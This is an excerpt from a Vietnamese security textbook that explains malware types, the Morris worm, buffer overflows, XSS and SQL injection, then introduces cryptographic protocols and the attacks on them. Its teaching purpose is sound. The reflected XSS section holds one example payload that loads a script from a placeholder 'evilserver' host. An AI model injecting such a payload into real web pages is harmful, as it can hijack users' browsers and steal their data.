# Chương IX MÃ ĐỘC VÀ AN TOÀN PHẦN MỀM

## 9.1 Khái niệm phần mềm độc hại

Phần mềm độc hại được chia làm hai loại cơ bản: loại tồn tại ký sinh trong chương trình chủ và loại tồn tại độc lập. Các phần mềm tồn tại ký sinh trong phần mềm chủ không phải là một chương trình hoàn chỉnh mà chỉ là một đoạn mã, không có khả năng tự hoạt động, vì vậy nó thường được chèn vào một chương trình hoàn chỉnh nào đó (gọi là *chương trình chủ).* Các phần mềm độc hại thuộc loại này có thể kể đến virus máy tính, bom logic, backdoor, Trojan.

Loại thứ hai, các phần mềm độc hại tồn tại độc lập, là các chương trình hoàn chỉnh, có khả năng tồn tại độc lập và vì vậy có thể được lên lịch và chạy bởi hệ điều hành. Sâu máy tính (worm) và bot (tay sai gây ra tấn công DoS) là hai ví dụ điển hình của loại này.

## 9.2 Backdoor là gì?

Backdoor còn có một tên gọi khác là trapdoor, là một cổng bí mật để xâm nhập vào chương trình, giúp cho người nào biết nó thì có thể nhanh chóng xâm nhập vào chương trình mà không cần phải thực hiện đầy đủ các thủ tục về an toàn thông tin thông thường. Backdoor có thể là độc hại nhưng cũng có thể là hữu ích, tùy vào mục đích của người sử dụng nó.

## 9.2 Bom logic

Bom logic là một trong những phần mềm độc hại cổ điển nhất, xuất hiện trước virus máy tính và sâu máy tính. Bom logic là một đoạn mã lệnh được chèn vào một chương trình chính thống (chương trình được tạo ra với mục đích hợp pháp) và nó được kích hoạt khi một điều kiện nào đó thỏa mãn. Điều kiện kích hoạt có thể là một ngày, tháng cụ thể, sự xuất hiện của một tập tin cụ thể hoặc việc chạy một chương trình cụ thể. Một khi được kích hoạt, bom logic sẽ thực hiện các hoạt động gây hại như thay đổi nội dung tệp tin, xóa toàn bộ các tệp tin, dừng toàn bộ hệ thống, …

## 9.3 Ngựa Trojan

Ngựa Trojan (thường được gọi tắt là trojan) là một chương trình hoặc một thủ tục câu lệnh bề ngoài có vẻ là hữu ích, vô hại nhưng bên trong lại chứa một đoạn mã thực hiện những chức năng gây hại. Kẻ tấn công thường tạo các chương trình ngựa Trojan là các chương trình thu hút được người dùng như game, phần mềm tiện ích, …

## 9.4 Định nghĩa, cấu trúc và cách thức hoạt động của virut máy tính

**Định nghĩa**: Virus máy tính (sau đây sẽ gọi tắt là virus) là một mẩu phần mềm, có khả năng “*tiêm nhiễm*” vào các chương trình khác bằng cách thay đổi chương trình gốc. Việc thay đổi được thực hiện bằng cách “*tiêm*” vào chương trình gốc một bản copy của virus và bản copy này sau đó sẽ lây lan sang các chương trình khác. Đặc tính cơ bản nhất của virus là khả năng tự sao chép chính nó. Khi một máy tính bị nhiễm virus thực hiện một chương trình chưa bị nhiễm virus, một bản copy mới của virus sẽ được lây nhiễm sang chương trình được thực hiện. Virus không chỉ lây lan giữa các chương trình trong cùng một máy tính mà còn có thể lây lan từ máy tính này sang máy tính khác khi một chương trình bị nhiễm virus của máy tính này được sao chép sang một máy tính khác.

**Cấu tạo** của một virus máy tính có thể chia làm ba phần sau:

* **Cơ chế lây nhiễm (infection mechanism):** Là cơ chế giúp virus tự sao chép bản thân nó và lây nhiễm từ chương trình này sang chương trình khác.
* **Kích hoạt (trigger):** Là các sự kiện hoặc điều kiện xác định khi nào *nội dung chính (payload)* sẽ được kích hoạt.
* **Nội dung chính (payload):** Chính là phần thực hiện các hành động phá hoại của virus

Vòng đời của một virus có thể được chia thành bốn pha như như sau:

* **Pha tiềm tàng (dormant phase):** Trong pha này, virus ở trạng thái ngủ, tức là không hoạt động gì cả
* **Pha lây lan (propagation phase):** Virus sao chép bản thân nó và “*tiêm*”bản sao đấy vào một chương trình khác hoặc vào một vị trí nào đó trên ổ đĩa. Thông thường, để tránh bị phát hiện bởi các phần mềm diệt virus, virus không sao chép nguyên bản mà sẽ chỉnh sửa đi một chút (ví dụ: đảo vị trí của các đoạn mã, mã hóa bằng các khóa khác nhau, …)
* **Pha kích hoạt (trigger phase):**  Virus được kích hoạt (chuyển từ pha tiềm tàng sang pha hoạt động) khi thỏa mãn một điều kiện được định nghĩa trước hoặc khi có một sự kiện được định nghĩa trước xảy ra.
* **Pha hoạt động (execution phase):** Sau khi được kích hoạt, virus sẽ thực hiện hành động theo chủ ý của người tạo ra virus. Các hành động này thường mang tính phá hoại như: xóa tệp tin, dừng hệ thống, …

Để tránh việc lây nhiễm nhiều lần lên cùng một chương trình, trong đoạn mã của virus thường chứa một bộ phận được gọi là *chữ ký* (ví dụ: một chuỗi ký tự đặc biệt). Trong pha lây lan, virus sẽ kiểm tra sự tồn tại của *chữ ký* trong chương trình đích và sẽ chỉ thực hiện việc lây lan đối với những chương trình chưa có chữ ký.

## 9.5 Các loại virus

Hiện nay, chưa có một cách phân loại thống nhất cho các loại virus. Thông thường, người ta có thể phân loại virus theo đối tượng lây nhiễm, hoặc theo cách virus che giấu bản thân, … Dưới đây, sẽ trình bày phân loại theo đối tượng lây nhiễm của virus. Virus có thể phần làm ba loại như sau:

* Virus lây nhiễm qua boot sector: Loại virus này ký sinh trong các đĩa dùng để khởi động máy tính và nó được lây lan khi người dùng dùng đĩa bị nhiễm virus để khởi động máy tính.
* Virus lây nhiễm qua file: Loại virus này ký sinh trong các tệp tin hoạt động (executable file). Nó thường được chèn vào đầu của các chương trình chủ. Khi chương trình chủ hoạt động thì đoạn mã của virus sẽ được gọi đến, sau khi đoạn mã của virus hoạt động xong chương trình chủ sẽ hoạt động bình thường. Chính vì thế, nêu thời gian hoạt động của đoạn mã virus không đáng kể thì người dùng sẽ rất khó phát hiện ra sự có mặt của virus.
* Macro virus: Lây nhiễm thông qua các đoạn mã macro. Loại virus này ký sinh trong các tệp tin cho phép chứa mã macro, ví dụ: tệp tin Microsoft word, Microsoft excel, ….

## 9.6 Định nghĩa, cấu trúc và cách thức hoạt động của “Sâu máy tính”

Sâu máy tính (sau đây sẽ gọi tắt là sâu) là một chương trình độc hại thuộc loại *tồn tại độc lập*, nghĩa là một chương trình hoàn chỉnh, có thể tự hoạt động mà không cần phải ký sinh trên một chương trình nào khác. Đây chính là điểm khác biệt cơ bản của sâu so với virus.

Sâu có khả năng tự sao chép chính bản thân nó và gửi bản sao từ máy tính đã bị lây nhiễm sang máy tính chưa bị lây nhiễm thông qua mạng máy tính. Như vậy, có thể thấy rằng, trong khi sự phá hoại gây ra bới virus hầu hết là bó hẹp trong phạm vi máy tính thì sự phá hoại gây ra bới sâu có thể ảnh hưởng tới toàn mạng, sự lan truyền của sâu có thể ảnh hưởng đến băng thông của mạng.

**Sâu có thể dùng các phương pháp sau để lây lan**:

* Thư điện tử (electronic mail): Sâu sử dụng thư điện tử để gửi một bản copy chính nó sang một máy tính khác. Khi thư điện tử chứa sâu được nhận hoặc được đọc, sâu sẽ tiêm nhiễm vào máy tính chứa thư điện tử đó.
* Điều khiển từ xa (remote execution): Sâu thực hiện các lệnh điều khiển từ xa (ssh, rsh, rexec, …) để thực hiện các chức năng của nó trên một máy tính khác.
* Đăng nhập từ xa (remote login): Sâu sử dụng chức năng đăng nhập từ xa để đăng nhập vào một máy tính khác và dùng các lệnh đề tạo một bản sao chép của nó lên máy tính đấy.

**Cách lấy lan:** Cũng giống như virus, vòng đời của sâu gồm có bốn pha: pha tiềm tàng, pha lây lan, pha kích hoạt, pha hoạt động. Pha lây lan được thực hiện như sau;

Bước 1: Tìm kiếm các máy tính kết nối với máy tính hiện tại. Thông thường việc tìm kiếm này được thực hiện bằng cách duyệt bảng chứa thông tin của các máy đang kết nối với máy hiện tại.

Bước 2: Xác lập kết nối với các máy tính tìm thấy ở bước 1.

Bước 3: Sao chép bản thân và tự cài đặt vào các máy tính được kết nối ở bước 2.

## 9.7 Sâu Morris

Sâu Morris được tạo ra bởi Robert Morris vào năm 1988, là sâu đầu tiên được coi là có sức ảnh hưởng lớn. Nó đã làm tê liệt hoạt động của một lượng lớn máy tính vào một số ngày vào năm 1988. Bản thân sâu Morris không thực hiện các hành động phá hoại trên máy tính bị nhiễm nhưng sự lây lan nhanh chóng của nó cùng với sự tái lây nhiễm nhiều lần trên cùng một máy tính đã làm cho một lượng lớn máy tính bị ngừng hoạt động.

**Các lỗ hổng an ninh được lợi dụng để thực hiện việc lây lan sâu Morris gồm có:**

* Lỗ hổng của phần mềm sendmail: Vào thời điểm khi sâu Morris được phát tán, phần mềm sendmail cho phép được gửi mail đến một máy khác với địa chỉ người nhận là một chương trình. Nếu chương trình sendmail của phía nhận đang chạy ở hệ debug thì khi nhận được một mail với địa chỉ người nhận là một chương trình, nó sẽ chạy chương trình đó với mã để chạy là phần nội dung của mail. Sâu Morris đã sử dụng lỗ hổng này và thực hiện cơ chế lây lan như sau:

o Kêt nối với máy tính đối tượng ở cổng 25 (cổng dành cho giao thức SMTP), dùng lệnh DEBUG để bật chế độ debug.

o Chỉ định nơi nhận nội dung mail là shell (thay vì hòm thư (mail box) như thông thường).

o Nội dung mail là một đoạn mã C, đoạn mã này sẽ được chuyển cho shell và chuyển thành một tệp tin có thể chạy được.

o Tệp tin này được biên dịch và chạy. Khi chạy nó sẽ mở một kết nối đến máy tính đã gửi mail và copy chương trình sâu Morris từ máy tính gửi mail về máy tính nhận mail. Chương trình sâu Morris sau đấy sẽ được biên dịch, chạy và tiếp tục lây lan sang máy tính khác.

* Lỗi tràn bộ đệm trong trình chạy ngầm fingerd: Finger là một giao thức được sử dụng để thu thập thông tin của các người dùng khác. Finger hoạt động theo mô hình client-server. Máy khách sẽ thực hiện giao thức finger để gửi yêu cầu lên máy chủ, trong khi máy chủ sẽ chạy ngầm chương trình fingerd (fingerd daemon) để đáp ứng các yêu cầu từ phía máy khách. Vào thời điểm sâu Morris được phát tán, giao thức finger có lỗi tràn bộ đệm (lỗi này xuất phát từ lệnh gets được sử dụng trong giao thức finger). Morris đã lợi dụng lỗi tràn bộ đệm của giao thức finger để sao chép và lan truyền sâu Morris từ máy tính này sang máy tính khác.
* Đăng nhập từ xa dùng chương trình rsh: Sâu Morrish lợi dụng chương trình rsh để đăng nhập vào các máy tính ở xa như một user hợp lệ. Để làm được điều này, trước hết sâu Morris sẽ thực hiện phán đoán mật khẩu login bằng cách bẻ khóa các file chứa mật khẩu trên máy hiện tại và sử dụng mật khẩu này để login vào các máy khác với suy luận rằng người dùng thường sử dụng cùng một account để login vào các hệ thống khác nhau.

## 9.8 Lỗi tràn bộ đệm (buffer overflow)

Lỗi tràn bộ đệm là một điều kiện bất thường khi một tiến trình lưu dữ liệu vượt ra ngoài biên của một bộ nhớ đệm có chiều dài cố định. Lỗi tràn bộ đềm thường xảy ra khi việc kiểm tra biên của vùng nhớ đệm không được thực thi trước khi thực hiện lưu dữ liệu. Dữ liệu bị tràn sẽ ghi đè lên dữ liệu trong các vị trí bộ nhớ liền kề. Dữ liệu bị ghi đè có thể là dữ liệu của các vùng nhớ đệm khác, các biến hoặc quan trọng hơn là các dữ liệu điều khiển luồng chạy của chương trình. Kẻ tấn công thường khai thác lỗi tràn bộ đệm để làm cho một chương trình đang chạy thực thi một đoạn mã được cung cấp. Sao đây là một mô tả tương đối tổng quan về về cơ chế này.

Bộ đệm (stack) là một vùng nhớ liên tục có kích thước giới hạn ***thường*** được dùng để lưu trữ các giá trị tạm thời của các chương trình con. Khi một chương trình mẹ *ABC* gọi thực hiện một chương trình con *abc*, hệ điều hành sẽ cất địa chỉ quay lui (lệnh tiếp theo của chương trình *ABC*, ngay sau lời gọi *abc*) vào ngăn xếp hệ thống; sau đó các dữ liệu tạm thời của *abc* (tức là các biến nhớ cục bộ của nó) cũng được bố trí tiếp tục trên ngăn xếp này. Bản thân các tham số truyền từ *ABC* cho *abc* cũng sẽ được coi như các biến cục bộ ẩn và lưu giữ trên ngăn xếp này. Khi chương trình con *abc* kết thúc, hệ điều hành sẽ giải phóng phần bộ nhớ tạm lưu các biến cục bộ của nó, rồi lấy ra địa chỉ quay lui, và chuyển điểu khiển về cho đoạn mã lệnh xác định bởi địa chỉ này (tức là lệnh thực thi tiếp theo trong ABC). Như vậy nếu như một trong các biến cục bộ mà bị “tràn”, tức là dữ liệu nhập vào đó lớn hơn dự kiến và tràn sang các địa chỉ bộ nhớ tiếp theo, thì có khả năng chính ô chứa địa chỉ quay lui nói trên có thể bị ghi đè. Từ đó hệ điều hành có thể chuyển điều khiển tới một đoạn mã lệnh khác (hoặc một đoạn dữ liệu bất kỳ), gây ra mất điều khiển hoặc sai hỏng.

Cơ chế tổng quát này có thể bị lợi dụng bởi kẻ tấn công như sau. Kẻ địch sẽ cố tình tìm cách chiếm quyền điểu khiển, tức là làm cho hệ điều hành chuyển điều khiển đến một đoạn mã độc có sẵn trong bộ nhớ. Lỗi không kiểm soát bộ đệm (của một lập trình viên bất cẩn) có thể bị lợi dụng, kẻ địch sẽ tìm cách nhập dữ liệu sao đó để một biến cục bộ tràn vào ô nhớ chứa địa chỉ quay lui. Hơn nữa, giá trị ghi đè này là một địa chỉ tính toán trước. Chẳng hạn, hãy tưởng tượng, kẻ địch khôn ngoan có thể tìm cách đưa vào bộ nhớ một đoạn mã độc, ngụy trang như một đoạn dữ liệu (bộ nhớ dữ liệu có thể có những giá trị bất kỳ và bình thường không bao giờ có thể được thực hiện). Từ đó việc lợi dụng lỗi tràn bộ nhớ đệm đã tạo ra một cơ chế để kẻ tấn công có thể khéo léo khiến hệ điều hành chuyển điều khiển đến đoạn bố nhớ dữ liệu chứa mã độc nói trên!

Trên đây ta mới xem xét một ví dụ khá xưa cũ (trước đây từng tồn tại trong các trình hệ thống viết bằng ngôn ngữ C). Ngày nay các đoạn mã phạm lỗi cơ bản như vậy đa phần đã được sửa chữa, tuy nhiên nguyên lý cơ bản nói trên (về cơ chế khai thác) vấn đúng và được áp dụng trong những tình huống đa dạng và tinh vi hơn. Trong nhiều mô hình lập trình hiện đại với các các ngôn ngữ cao cấp, các con trỏ hàm (function pointer) và các xử lý ngoại lệ (exception handler) vẫn được sử dụng để xử lý mềm dẻo cho các tình huống đa dạng và sự cố bất thường. Vì vậy kẻ tấn công am hiểu các môi trường hiện đại này sẽ có khả năng lợi dụng tinh vi các lỗi tràn bộ đệm ở đây để tiêm các địa chỉ mã độc vào các địa chỉ xử lý đặc biệt nói trên, thông qua đó mà chiếm đẩy điều khiển về đoạn mã độc đã được bố trí đợi sẵn.

## 9.9 Tổng quan về an toàn ứng dụng web

Sự phát triển mạnh mẽ của công nghệ thông tin và đặc biệt là sự bùng nổ của internet đã mang lại cho con người rất nhiều tiện ích mà ta không thể hình dung được cách đây 1 thập kỷ. Các hoạt động giao dịch trực tuyến như thương mại điện tử hay thanh toán trực tuyến ngày càng phổ biến. Các công ty lớn như Google, Facebook, Ebay, Amazon, Yahoo… là các mô hình doanh nghiệp thành công nhờ vào chú trọng việc khai thác các lợi ích mà internet mang lại. Ở bất kỳ đâu, chỉ với một máy tính có nối mạng internet, khách hàng có thể thực hiện các giao dịch của mình một cách thuận tiện và nhanh chóng.

Hiện nay có rất nhiều công nghệ xây dựng các ứng dụng Web như J2EE của SUN, ASP và ASP.NET của Microsoft hay PHP của cộng đồng mã nguồn mở. Các công nghệ này đều sử dụng mô hình 3 bên (three-tiers model) gồm: trình duyệt máy khách, máy chủ ứng dụng và máy chủ cơ sở dữ liệu

Có thể thấy việc xây dựng các trang Web động cho phép xây dựng câu truy vấn động từ đầu vào do người sử dụng cung cấp tiềm ẩn một nguy cơ mất an toàn cao nếu như không có một cơ chế kiểm tra dữ liệu đầu vào một cách chặt chẽ.

## 9.10 Một số nguy cơ phổ biến đối với ứng dụng Web

Trong các phân tích và xếp hạng về các mối nguy cơ bị tấn công phổ biến đối với các ứng dụng Web, tấn công thuộc loại Cross-Site Scripting (XSS) là phổ biến nhất

## 9.11 Một số quan sát đối với đảm bảo an toàn trong cộng đồng xây dựng web tại Việt năm trong giai đoạn 2006-2010

*Nhận thức chung của cộng đồng về an toàn thông tin còn thấp:* Phảt triển Web là một trong những công việc khá phổ biến trong công nghiệp CNTT hiện nay. Do sự phát triển cao của các công nghệ hỗ trợ, một lập trình viên “mới ra lò” cũng có thể phát triển được một dịch vụ với nhiều tính năng không tầm thường trong một khoảng thời gian tương đối ngắn. Tuy nhiên, dù đảm bảo tốt phần tính năng nghiệp vụ, các LTV hầu hết còn hiểu biết khá ấu trĩ về ATTT, dễ dẫn tới những ngộ nhận và lỗi nghiêm trọng trong đảm bảo an toàn.

*Sự tận dụng công nghệ quá mới quá nhanh:* Một trong những nguyên nhân lớn khác của các lỗi an toàn thông tin phổ biến trong ứng dụng Web là do sự lạm dụng thái quá các công nghệ công cụ Web đời mới. Các công nghệ mới phát triển rất nhanh để đáp ứng nóng sốt các nhu cầu mới của xã hội tiêu dùng hiện đại nên đã không tránh khỏi các lỗ hổng bảo mật phát sinh mới (và sau đó các hang phát hành lại phải đi vá liên tục).

*Sức ép phải hoàn thành sản phẩm quá gấp và sự thiếu các hiểu biết đầy đủ về các giải pháp bảo mật có sẵn:* Một trong những câu chuyện muôn thưở của ngành CNTT là sự thúc ép phải đảm bảo yêu cầu tiến độ do hợp đồng qui định, do sự bức thiết của nhu cầu sản phẩm, thường là rất nóng. Cho nên các yêu cầu về đảm bảo an toàn thông tin thường không được đánh giá (cũng do không được thấu hiểu) và không được tôn trọng đúng mức.

*Thiếu các giải pháp công cụ lập trình mềm dẻo về ATTT cho phát triển ứng dụng Web:* Các giải pháp công cụ an toàn thông tin do các hãng đưa ra thường được lồng ghép trong các khung cảnh có sẵn của các nền móng công cụ phát triển. Vì vậy các công cụ này thực sự chưa có tính mềm dẻo cần thiết để có thể dễ dàng nhúng vào các dự án phảt triển Web một cách tiện lợi. Đây cũng có thể là lý do tại sao mà các công cụ lập trình về ATTT cho ứng dụng Web chưa được biết đến và ứng dụng nhiều.

## 9.12 Khái niệm tấn công cross-site scripting (xss)

Định nghĩa tổng quan về tấn công kịch bản liên trang (Cross-Site Scripting – gọi tắt là XSS):

*Cross-Site Scripting hay còn được gọi tắt là XSS là một kỹ thuật tấn công bằng cách chèn vào các website động (ASP, PHP, CGI, JSP…) những thẻ HTML hay những đoạn mã script nguy hiểm có thể gây nguy hại cho những người sử dụng khác. Trong đó, những đoạn mã nguy hiểm được chèn vào hầu hết được viết bằng các Client-Site Script như JavaScript, Jscript, DHTML và cũng có thể là cả các thẻ HTML!*

## 9.12 Phân loại tấn công cross-site scripting (xss)

Tấn công XSS hiện tồn tại 2 hình thức là *Stored XSS* và *Reflected XSS*.

a) Stored XSS

Trong kiểu tấn công này, kẻ tấn công bắt buộc phải lưu trữ các mã độc hại của mình trên ứng dụng Web, có thể là trong cơ sở dữ liệu của người dùng. Như vậy đây là hình thức tấn công các ứng dụng Web mà ở đó cho phép kẻ tấn công có thể chèn một đoạn script nguy hiểm (thường là Javascript) vào ứng dụng Web thông qua một chức năng nào đó (ví dụ: viết lời bình, viết sổ guestbook, gửi bài, …) để từ đó khi các thành viên khác truy cập website (có mã của kẻ tấn công gửi lên) sẽ bị dính mã độc từ website có chèn mã của kẻ tấn công đó Hình 9.4. Do các mã độc này thường được lưu lại trong CSDL của website nên được gọi với từ *Stored*.

b) Reflected XSS

Trong hình thức tấn công này, kẻ tấn công thường gắn thêm đoạn mã độc vào URL của website và gửi đến nạn nhân, nếu nạn nhân truy cập URL đó thì sẽ bị dính mã độc. Mô hình tấn công Reflected XSS

Liên kết trên chứa mã HTML bao gồm một script để tấn công kẻ nhận email. Nếu nạn nhân nhấp chuột vào liên kết đó, do lỗ hổng trên ứng dụng, trình duyệt sẽ hiển thị trang vừa yêu cầu với thông tin truyền cho nó chứa trong liên kết (*mycomment=<script src=’http://evilserver/xss.js’> </script>*). Thông tin này chứa đoạn mã độc và là một phần của trang web được gửi lại cho trình duyệt của người sử dụng nơi mà nó được biên dịch và chạy.

## 9.13 Khái niệm tấn công sql injection

SQL Injection là kỹ thuật tiêm mã độc nhằm khai thác lỗ hổng an ninh xảy ra trong lớp cơ sở dữ liệu của một ứng dụng. Kỹ thuật này cho phép tin tặc có thể truy xuất được các thông tin quan trọng từ máy chủ cơ sở dữ liệu. Nếu dữ liệu do người dùng nhập vào không được kiểm tra cẩn thận hoặc ràng buộc chặt chẽ về kiểu thì tin tặc rất dễ lợi dụng để chèn những đoạn mã độc khiến hệ thống trả về các thông tin ngoài ý muốn của người lập trình. Qua đó tin tặc có thể khai thác các thông tin nhạy cảm, thực thi các câu truy vấn phá hoại, thậm chí phá hủy hệ thống.

## 9.14 Stored procedure

Nhiều lập trình viên tin rằng “Stored procedure” là “liều thuốc” hữu hiệu cho “căn bệnh” SQL Injection. Tuy nhiên điều đó không đúng hoàn toàn. Thực tế lợi ích của Stored Procedure trong hầu hết các trường hợp đó là nó cố gắng giúp cho ứng dụng hiểu giá trị đầu vào do người dùng nhập là dữ liệu chuẩn bị được sử dụng chứ không phải là mã SQL sắp được thực thi.

## 9.15 Khai thác thông tin dựa vào các thông điệp lỗi

Các thông điệp lỗi nếu không được quản lý chặt chẽ sẽ vô tình để lộ thông tin về hệ thống, đặc biệt là các thông tin về cơ sở dữ liệu. Tin tặc lợi dụng các thông tin này để tấn công SQL Injection vào ứng dụng.

# Chương X GIAO THỨC MẬT MÃ VÀ ỨNG DỤNG

## 10.1 Định nghĩa và thuộc tính

Định nghĩa: “Một giao thức (protocol) chỉ đơn giản là một chuỗi các bước thực hiện mà cần có ít nhất 2 bên tham dự, và được thiết kế để thực hiện một nhiệm vụ nào đó”

Định nghĩa này đơn giản nhưng chặt chẽ. “Một chuỗi các bước” có nghĩa là một dãy các bước có thứ tự, có đầu có cuối, bước trước phải được kết thúc trước khi thực hiện bước sau. “Có ít nhất 2 bên tham dự” có nghĩa là có thể có nhiều người cùng tham gia thực hiện chuỗi bước này, còn một người làm một mình thì không thể gọi là giao thức được.

**Protocols có những thuộc tính tất yếu của nó:**

* Các bên tham dự phải được chuẩn bị trước để hiểu biết kỹ lưỡng tất cả các bước của protocol trước khi thật sự tham gia vào thực hiện.
* Các bên phải đồng ý tuyệt đối tuân thủ các bước.
* Protocol phải không có chỗ nào tối nghĩa, tất cả các bước phải được viết tường minh, không có chỗ nào gây nên khả năng hiểu nhầm.
* Protocol phải đầy đủ, trong đó tất cả các tình huống phát sinh đều phải được người thiết kế lường trước đưa ra các bước thực hiện tiếp thích ứng

Một giao thức mật mã (GTMM, cryptographic protocol) là một protocol có vận dụng các kiến thức từ LTMM để đạt được các mục tiêu về mặt an toàn và bảo mật của hệ thống. Các thành phần tham gia có thể là bạn bè và tin tưởng lẫn nhau, nhưng cũng có thể là những người nghi kỵ hoặc kẻ thù của nhau (thậm chí không tin nhau dù chỉ trong việc hỏi giờ). Một GTMM thường liên quan hoặc gắn liền với một thuật toán mật mã nhưng thông thường mục đích của nó là xa hơn so với bảo mật thuần túy.

**Nguyên tắc tổng quát để thiết kế nên những protocol như thế này là**: Phải làm sao để không có ai, không có bên nào có thể thu được nhiều hơn, biết được nhiều hơn những gì mà người thiết kế giao thức xác định từ đầu cho các vai trò tham gia. Điều này thực tế là khó thực hiện hơn nhiều so với vẻ ngoài ngắn gọn của nó. Khoa học lừa dối cũng phát triển nhanh như khoa học để chống lại nó. Ta sẽ thấy những ví dụ mà trong đó các protocol ban đầu tưởng như là an toàn đã có những kẽ hở như thế nào.

Việc chứng minh một hệ thống nào đó là an toàn bao giờ cũng khó hơn rất nhiều chứng minh không an toàn.

## 10.2 Mục đích của các protocols

Protocols không phải là cái gì xa xôi, vì chính nó là những giao dịch mà ta có thể quan sát và hành động theo hàng ngày. Chẳng hạn như đặt mua hàng qua điện thoại, cam kết hợp đồng, chơi bài hay là bỏ phiếu bầu cử ... Chúng ta đã quá quen và thường không phân tích ngọn ngành các bước trong quá trình, những thủ tục của đời sống hàng ngày mà vì đã được kiểm nghiệm nhiều trên thực tế nên tỏ ra đáng tin cậy. Gạt bỏ tính chất thông tục (phi hình thức) của chúng, chúng cũng chả khác gì các protocol mà ta nghiên cứu trong sách giáo khoa.

## 10**.3 Các bên tham gia vào protocol (the Players)**

Để có một cách tiếp cận hình thức thống nhất với tất cả các protocol thì một điều cần thiết là có một qui định thống nhất cách gọi tên tất cả các bên tham gia và dính líu có thể với protocol. Hầu hết tài liệu đều thống nhất về việc sử dụng một tập tên người trong tiếng Anh để gọi các bên có liên quan; đặc biệt là chữ cái đầu của mỗi tên người đều ứng với chữ cái đầu của từ tiếng Anh nói lên vai trò của những bên liên quan đó. Sau đây sẽ nêu lên tập các tên được dùng trong sách “Applied Cryptography” của Bruce Scheneir.

Sau đây là bảng danh sách của các tên gọi hình thức của các bên có thể có liên quan trong protocol, ta có thể thấy chúng như một danh sách các tên nhân vật tham gia vào một vở kịch nào đó mà ở đây ta gọi là protocol

## 10.4 Protocols có người trọng tài

Người trọng tài là người phải thỏa mãn các điều kiện sau:

* Không có quyền lợi riêng trong protocol và không thiên vị cho một bên nào
* Các bên tham gia có quyền lợi trong protocol đều tin tưởng vào trọng tài rằng bất kỳ cái gì mà anh ta nói và làm đều là đúng và chính xác, đồng thời tin tưởng anh ta sẽ hoàn thành sứ mạng của mình trong protocol (không bỏ dở giữa chừng để đi chơi)

Như vậy trọng tài có thể đứng ra để giúp hoàn thành các protocol giữa những bên tham gia không tin tưởng lẫn nhau. Trong đời thường, các luật sư thường được mời ra để làm trọng tài.

## 10.5 Protocols có người phân xử.

Để yên tâm giao dịch, Alice và Bob cần mời được một người trọng tài uy tín cao, tuy nhiên chi phí mời/thuê một người như vậy sẽ là đáng kể. Vì vậy người ta đã đưa ra khả năng chia tách giao thức có trọng tài tham dự thành hai pha giao thức (subprotocol):

* Giao thức con, không trọng tài: thực hiện bất kỳ khi nào muốn tiến hành giao dịch.
* Giao thức có trọng tài mà chỉ được sử dụng khi Alice và Bob cãi nhau và muốn có người phân xử. Vì thế trong trường hợp này ta không dùng khái niệm người trọng tài (arbitrator), với ý nghĩa là người phải trực tiếp tham gia vào protocol, mà sử dụng khái niệm người phân xử (adjudicator): người này không cần phải có mặt khi Alice và Bob tiến hành giao dịch, mà chỉ được mời đến khi Alice và Bob yêu cầu giải quyết tranh cãi.

Cũng giống như trọng tài, người phân xử phải không có quyền lợi liên can đến giao dịch của Alice và Bob và được cả hai người này tin tưởng. Anh ta không tham gia trực tiếp vào giao dịch như trọng tài nhưng sẽ đứng ra để xác định xem là giao dịch có được tiến hành đúng không và xác định bên sai bên đúng nếu như có tranh cãi.

Điểm khác biệt giữa người trọng tài và người phân xử (dùng theo ý nghĩa như ở đây) là người phân xử không phải luôn luôn cần thiết. Nếu có tranh cãi thì mới cần người phân xử, không có tranh cãi thì thôi. Ý tưởng dùng người phân xử này có thể đem vào áp dụng trên máy tính. Trong những protocol thế này nếu có một bên tham gia mà không trung thực thì những dữ liệu lưu được từ protocol sẽ cho phép người phân xử sau này phát hiện được ai là người đã lừa dối. Như vậy thay vì ngăn chặn trước sự lừa đảo, protocol người phân xử sẽ phát hiện được lừa dối nếu xảy ra, thực tế này khi được phổ biến rộng sẽ có tác dụng như ngăn chặn, làm lùi bước những kẻ có dã tâm lừa dối.

## 10.6 Protocol tự xử (Self-enforcing protocol)

Protocol tự xử là loại tốt nhất vì tự bản thân nó có thể đảm bảo được tính công bằng, không cần đến trọng tài để trực tiếp tham gia cầm cân nảy mực, hay một thẩm phán để phân xử khi có tranh cãi. Có nghĩa là protocol loại này được chế ra sao cho không thể có các kẽ hở cho tranh cãi nảy sinh. Nếu có bên nào cố ý chơi sai luật thì tiến trình sẽ cho phép phía bên kia phát hiện ra ngay và protocol dừng lại ngay lập tức. Điều mong ước rõ ràng là tất cả các protocol đều nên chế tạo như thế, nhưng đáng tiếc là không phải lúc nào cũng có protocol loại này cho mọi tình huống.

## 10.7 Các dạng tấn công đối với protocols

Các dạng tấn công này có thể phân thành hai loại chính như sau.

Với dạng tấn công thụ động (passive attack), kẻ địch chỉ đứng ngoài nghe trộm chứ không gây can thiệp hay ảnh hưởng gì đến protocol. Mục đích của nó là cố gắng quan sát và thu lượm thông tin. Tuy nhiên thông tin nghe trộm được chỉ là thông tin đã được mã hóa, do đó kẻ địch cần phải biết cách phân tích giải mã thì mới dùng được. Mặc dù hình thức tấn công này không mạnh những rất khó phát hiện vì kẻ thù không gây động. Vì vậy người ta phải nghĩ cách ngăn chặn trước loại tấn công này.

Với dạng tấn công chủ động (active attack), kẻ địch là một thế lực trong mạng nắm nhiều khả năng và phương tiện để có thể chủ động can thiệp và gây ảnh hưởng phức tạp. Nó có thể đóng giả, núp dưới một cái tên khác, can thiệp vào protocol bằng những thông báo kiểu mới, xóa bỏ những thông báo đang phát trên đường truyền, thay thế thông báo thật bằng thông báo giả, phát lại nhiều lần một thông báo thật đã được ghi lại trước đó với mục đích gây nhiễu, ngắt ngang chừng các kênh thông tin và sửa chữa vào các kho thông tin lưu trên mạng. Các khả năng khác nhau này là phụ thuộc vào tổ chức mạng máy tính và vai trò của kẻ địch trên mạng.

Kẻ tấn công trong tấn công thụ động chỉ cố gắng thu lượm thông tin từ các bên tham gia protocol, thông qua thu thập các thông báo truyền đi giữa các bên để mà phân tích giải mã. Trong khi đó kẻ tấn công chủ động có thể gây ra các tác hại rất đa dạng phức tạp. Kẻ tấn công có thể có mục đích thông thường đơn thuần là tóm được tin mà nó quan tâm, nhưng ngoài ra nó còn có thể gây ra các phá hoại khác như phá hoại đường truyền và làm sai lạc các thông báo qua lại, hạ thấp chất lượng hoạt động của hệ thống hay nghiêm trọng và phức tạp hơn là tìm cách đoạt quyền truy nhập vào những hệ thống thông tin mà chỉ dành cho những người có đủ thẩm quyền.

